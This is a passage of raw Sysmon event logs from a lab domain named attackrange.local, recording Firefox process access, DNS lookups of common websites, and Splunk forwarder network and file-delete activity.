Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.701{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.685{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.685{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E20FC4262A96F6F2A87459D5240F3398,SHA256=7B6D3414C61803051C5417D4A4821DE8AB5759EF4F22BF096E0C27D4B05E252D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.638{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0caf6 354300x800000000000000050787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.646{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57097- 354300x800000000000000050786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.646{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59671- 354300x800000000000000050785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.645{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61499- 22542200x800000000000000050784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.888{7BD73061-728D-613B-560B-00000000F001}4776reddit.map.fastly.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.887{7BD73061-728D-613B-560B-00000000F001}4776e11847.g.akamaiedge.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.886{7BD73061-728D-613B-560B-00000000F001}4776e15317.a.akamaiedge.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.885{7BD73061-728D-613B-560B-00000000F001}4776e11847.g.akamaiedge.net02.18.234.244;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.885{7BD73061-728D-613B-560B-00000000F001}4776reddit.map.fastly.net0151.101.13.140;C:\Program Files\Mozilla Firefox\firefox.exe 354300x800000000000000016341Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:26.371{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50287-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016343Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:28.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A8792D7F47E1FF76E94CD5D93F75D19,SHA256=1943C82158DCFF96A8AACB733DC2BFECAFA1DD0E87490EF3FCD13E1CB3A96E9F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000050814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.160{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61888- 354300x800000000000000050813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.134{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local64340-false142.250.185.196fra16s52-in-f4.1e100.net443https 354300x800000000000000050812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.134{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local64082- 354300x800000000000000050811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.133{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59650- 354300x800000000000000050810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.131{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local64339- 23542300x800000000000000050809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:28.693{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CCF2FD75DE055454868E8EA2708B8B2,SHA256=CC206881EE47BB124414AF125665172D2A5C407AF3771E6C3EB6D5B5CFF5E690,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:28.005{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+fdc990|C:\Program Files\Mozilla Firefox\xul.dll+fcd08b|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f 10341000x800000000000000050807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:28.005{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59bc2|C:\Program Files\Mozilla Firefox\xul.dll+b73a63|C:\Program Files\Mozilla Firefox\xul.dll+b736f4|C:\Program Files\Mozilla Firefox\xul.dll+b73f2c|C:\Program Files\Mozilla Firefox\xul.dll+f73c12|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0|C:\Program Files\Mozilla Firefox\xul.dll+f0ba15|C:\Program Files\Mozilla Firefox\xul.dll+f0b5a4|C:\Program Files\Mozilla Firefox\xul.dll+f0b049 23542300x800000000000000016344Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:29.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB4B046E9661DE756455EB6860420E2E,SHA256=5E2BCE1EB22D5B27ACDEEB32B5BA76AE5CBA7A0042506CB1FE10F3D3A686C0D0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000050826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.958{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+f73b88|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0caf6 22542200x800000000000000050825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.830{7BD73061-728D-613B-560B-00000000F001}4776www.google.com02a00:1450:4001:82b::2004;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.829{7BD73061-728D-613B-560B-00000000F001}4776www.google.com0142.250.185.196;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.827{7BD73061-728D-613B-560B-00000000F001}4776www.google.com0::ffff:142.250.185.196;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000050822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.822{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.700{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0BB09246B8D70B3AC59A90BAAE15C813,SHA256=84EFE044C5AE85E02A7E0A731630CB42FAB72C2FC2915FCFED8553191871983A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000050820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.396{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59526-false10.0.1.12-8000- 354300x800000000000000050819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.174{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59525-false142.250.186.35fra24s04-in-f3.1e100.net80http 23542300x800000000000000050818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.354{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\cache2\doomed\20209MD5=75B265861F871F74E1520F24C09A24D3,SHA256=2F282616DC94CA46C7F3B7CA19A1B8AE68C6F23755D25D37362402E440173AFA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.354{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\cache2\doomed\10397MD5=134B9DC162EE4006A553B86B2CE2E12F,SHA256=F726CB1495144FEA9BEF58B32A3DBF85F6A5543CC2C2C9249ED3EA2858608E74,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.354{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\cache2\doomed\16692MD5=114C2A3DF076CD42CEB5F2932607F1E0,SHA256=F3718128DAEA9AB6E1EA987D6BE8B7DA626A30A1443653C8F5DA8A939CBE38E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000050815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.172{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55568- 23542300x800000000000000016345Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:30.672{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F76540E431DEBDF90DDE1ADA2F47D57,SHA256=637407955D6784B063C3300B32BC9F042B76D2DC4A43B6982DC1492459A71222,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000050843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.940{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.919{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.919{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.917{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:30.917{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla 